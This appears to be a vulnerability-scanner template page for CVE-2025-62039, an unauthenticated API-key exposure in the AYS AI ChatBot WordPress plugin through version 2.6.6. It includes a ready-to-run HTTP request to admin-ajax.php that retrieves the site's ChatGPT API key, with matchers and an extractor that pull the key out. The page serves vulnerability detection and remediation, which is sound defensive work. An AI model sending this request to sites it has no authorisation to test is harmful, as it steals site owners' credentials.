AI ChatBot with ChatGPT by AYS <= 2.6.6 - Unauthenticated API Key Exposure
CVE-2025-62039
Verified
Description
AYS AI ChatBot with ChatGPT and Content Generator <= 2.6.6 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve sensitive information, exploit requires crafted input.
Severity
High
Published Date
April 22, 2026
Template Author
pussycat0x
CVE-2025-62039.yaml
id: CVE-2025-62039
info:
name: AI ChatBot with ChatGPT by AYS <= 2.6.6 - Unauthenticated API Key Exposure
author: pussycat0x
severity: high
description: |
AYS AI ChatBot with ChatGPT and Content Generator <= 2.6.6 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve sensitive information, exploit requires crafted input.
impact: Attackers can retrieve embedded sensitive information, potentially leading to data leakage and privacy violations.
remediation: Update to the latest version beyond 2.6.6.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ays-chatgpt-assistant/ai-chatbot-with-chatgpt-and-content-generator-by-ays-266-unauthenticated-information-exposure
metadata:
verified: true
max-request: 1
tags: cve,cve2025,wordpress,wp-plugin,ays-chatgpt-assistant
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=ays_chatgpt_admin_ajax&function=get_chatgpt_api_key
matchers:
- type: dsl
dsl:
- 'contains(body, "success\":true")'
- 'contains(body, "api_key")'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
condition: and
extractors:
- type: json
name: api_key
json:
- '.data.api_key'
# digest: 490a00463044022007d06b9472c223651fcb31380c476042becbef9dccb81772b40db1773b35c6e402200ac6a0dddd497a0797b264eef40b61cf750c2e1e14e96e4d6faa076716024975:922c64590222798bb761d5b6d8e72950Remediation Steps
Update to the latest version beyond 2.6.6.